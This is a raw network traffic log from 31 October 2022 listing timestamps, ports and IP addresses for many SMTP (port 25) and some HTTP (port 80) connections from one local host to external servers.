Oct 31, 2022 12:19:32.841430902 CET	25	49703	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:32.842526913 CET	49703	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:32.847585917 CET	49722	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:32.874532938 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:32.874774933 CET	49722	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:32.903099060 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:32.903295994 CET	49722	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:32.930377007 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:32.932878971 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:32.933109999 CET	49722	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:32.960583925 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:32.964731932 CET	49722	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:32.968662977 CET	49726	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:32.997059107 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.027983904 CET	80	49721	64.70.19.203	192.168.2.5
Oct 31, 2022 12:19:33.158441067 CET	80	49726	64.70.19.203	192.168.2.5
Oct 31, 2022 12:19:33.158608913 CET	49726	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:33.158869982 CET	49726	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:33.180804014 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.182849884 CET	49722	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:33.209881067 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.210344076 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.211266994 CET	49722	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:33.213275909 CET	49722	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:33.240343094 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.240375042 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.240389109 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.240406036 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.240453005 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.240523100 CET	49722	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:33.240572929 CET	49722	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:33.246032000 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.247029066 CET	49722	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:33.267627001 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.267678022 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.267693043 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.267724991 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.267745018 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.267757893 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.267771006 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.267784119 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.267796040 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.267811060 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.267823935 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.267837048 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.267851114 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.267863989 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.267877102 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.267889977 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.267895937 CET	49722	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:33.267895937 CET	49722	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:33.267903090 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.274003983 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.274024963 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.295018911 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.295064926 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.295089960 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.295110941 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.295137882 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.295171976 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.295198917 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.295219898 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.295239925 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.295258999 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.295279980 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.295300007 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.295337915 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.295365095 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.295389891 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.295416117 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.295444012 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.295469999 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.296595097 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.303101063 CET	49722	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:33.331639051 CET	25	49722	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:33.331751108 CET	49722	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:33.338846922 CET	49727	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:33.348448992 CET	80	49726	64.70.19.203	192.168.2.5
Oct 31, 2022 12:19:33.348499060 CET	80	49726	64.70.19.203	192.168.2.5
Oct 31, 2022 12:19:33.348571062 CET	49726	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:33.348660946 CET	49726	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:33.370301962 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.370496988 CET	49727	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:33.411180019 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.411412001 CET	49727	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:33.442574978 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.454745054 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.454953909 CET	49727	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:33.491383076 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.495202065 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.503410101 CET	25	49707	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:33.517682076 CET	49727	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:33.517741919 CET	49707	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:33.538233995 CET	80	49726	64.70.19.203	192.168.2.5
Oct 31, 2022 12:19:33.553663015 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.593977928 CET	25	49706	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:33.594235897 CET	49706	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:33.663450956 CET	25	49707	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:33.663629055 CET	49707	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:33.703665972 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.703958035 CET	49727	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:33.735243082 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.739593983 CET	25	49706	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:33.739850998 CET	49706	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:33.744014025 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.744241953 CET	49727	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:33.745486021 CET	49727	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:33.776839972 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.776879072 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.776896000 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.776911974 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.776930094 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.777026892 CET	49727	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:33.777120113 CET	49727	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:33.782300949 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.782404900 CET	49727	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:33.808011055 CET	25	49707	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:33.808207989 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.808235884 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.808234930 CET	49707	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:33.808305025 CET	49727	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:33.808305025 CET	49727	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:33.808370113 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.808389902 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.808412075 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.808427095 CET	49727	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:33.808437109 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.808480024 CET	49727	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:33.808480978 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.808480024 CET	49727	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:33.808497906 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.808527946 CET	49727	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:33.808552980 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.808572054 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.808588982 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.808607101 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.808624983 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.808643103 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.808660030 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.813616037 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.813651085 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.839757919 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.839832067 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.839884996 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.839907885 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.839927912 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.839993954 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.840034962 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.840081930 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.840118885 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.840138912 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.840157986 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.840178013 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.840197086 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.840215921 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.840234041 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.840254068 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.840274096 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.851396084 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.851525068 CET	49727	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:33.866975069 CET	49737	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:33.884265900 CET	25	49706	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:33.884541035 CET	49706	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:33.888292074 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.891063929 CET	25	49727	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:33.891184092 CET	49727	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:33.897965908 CET	49738	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:19:33.931871891 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:33.932075024 CET	49738	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:19:33.975153923 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:33.975481987 CET	49738	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:19:34.001213074 CET	25	49707	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:34.009295940 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.013039112 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.013348103 CET	49738	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:19:34.047590017 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.047962904 CET	49738	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:19:34.060661077 CET	80	49737	64.70.19.203	192.168.2.5
Oct 31, 2022 12:19:34.060884953 CET	49737	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:34.061060905 CET	49737	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:34.072474957 CET	25	49706	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:34.087043047 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.200170040 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.200932980 CET	49738	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:19:34.234653950 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.235336065 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.235658884 CET	49738	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:19:34.236677885 CET	49738	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:19:34.254607916 CET	80	49737	64.70.19.203	192.168.2.5
Oct 31, 2022 12:19:34.254641056 CET	80	49737	64.70.19.203	192.168.2.5
Oct 31, 2022 12:19:34.254770041 CET	49737	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:34.254808903 CET	49737	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:19:34.270436049 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.270466089 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.270481110 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.270494938 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.270601034 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.270612955 CET	49738	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:19:34.270672083 CET	49738	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:19:34.275913954 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.276019096 CET	49738	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:19:34.304467916 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.304502010 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.304514885 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.304523945 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.304532051 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.304547071 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.304559946 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.304572105 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.304585934 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.304599047 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.304611921 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.304625034 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.304639101 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.304651022 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.304663897 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.304676056 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.304689884 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.304703951 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.304729939 CET	49738	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:19:34.304825068 CET	49738	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:19:34.309634924 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.309664965 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.338342905 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.338368893 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.338382959 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.338392019 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.338401079 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.338413954 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.338490963 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.338504076 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.338519096 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.338531971 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.338579893 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.338593960 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.338655949 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.338671923 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.338737965 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.338752031 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.338764906 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.338778019 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.341335058 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.341511011 CET	49738	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:19:34.374629974 CET	49741	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:34.375544071 CET	25	49738	142.251.5.27	192.168.2.5
Oct 31, 2022 12:19:34.375612974 CET	49738	25	192.168.2.5	142.251.5.27
Oct 31, 2022 12:19:34.401725054 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.401856899 CET	49741	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:34.410233974 CET	25	49706	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:34.410576105 CET	49706	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:34.430202961 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.430485010 CET	49741	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:34.448484898 CET	80	49737	64.70.19.203	192.168.2.5
Oct 31, 2022 12:19:34.457583904 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.462250948 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.462660074 CET	49741	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:34.490202904 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.490545034 CET	49741	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:34.522280931 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.554826975 CET	25	49706	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:34.555078030 CET	49706	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:34.556518078 CET	25	49706	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:34.556608915 CET	49706	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:34.642673016 CET	25	49707	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:34.642939091 CET	49707	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:34.670523882 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.670857906 CET	49741	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:34.698909044 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.699270964 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.706991911 CET	49741	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:34.708271980 CET	49741	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:34.735259056 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.735301971 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.735320091 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.735337019 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.735354900 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.735574007 CET	49741	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:34.740088940 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.740217924 CET	49741	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:34.762751102 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.762779951 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.762794018 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.762801886 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.762809992 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.762818098 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.762831926 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.762849092 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.762861967 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.762890100 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.762912989 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.762928009 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.762942076 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.762954950 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.762968063 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.762980938 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.762993097 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.763005972 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.763020992 CET	49741	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:34.763096094 CET	49741	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:34.767201900 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.767220020 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.787034988 CET	25	49707	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:34.788499117 CET	25	49707	209.51.188.92	192.168.2.5
Oct 31, 2022 12:19:34.788616896 CET	49707	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:34.788618088 CET	49707	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:19:34.789994001 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.790015936 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.790049076 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.790064096 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.790079117 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.790093899 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.790107965 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.790122986 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.790138960 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.790153980 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.790169001 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.790183067 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.790198088 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.790215015 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.790229082 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.790291071 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.790306091 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.790319920 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.792535067 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.792742014 CET	49741	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:34.820076942 CET	25	49741	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:34.820260048 CET	49741	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:35.238228083 CET	49750	80	192.168.2.5	63.251.126.10
Oct 31, 2022 12:19:35.668386936 CET	80	49750	63.251.126.10	192.168.2.5
Oct 31, 2022 12:19:35.668577909 CET	49750	80	192.168.2.5	63.251.126.10
Oct 31, 2022 12:19:35.682586908 CET	49750	80	192.168.2.5	63.251.126.10
Oct 31, 2022 12:19:35.943842888 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:36.027955055 CET	49752	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:36.060033083 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.060131073 CET	49752	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:36.076872110 CET	49753	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:36.101721048 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.102020979 CET	49752	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:36.110277891 CET	80	49750	63.251.126.10	192.168.2.5
Oct 31, 2022 12:19:36.110740900 CET	80	49750	63.251.126.10	192.168.2.5
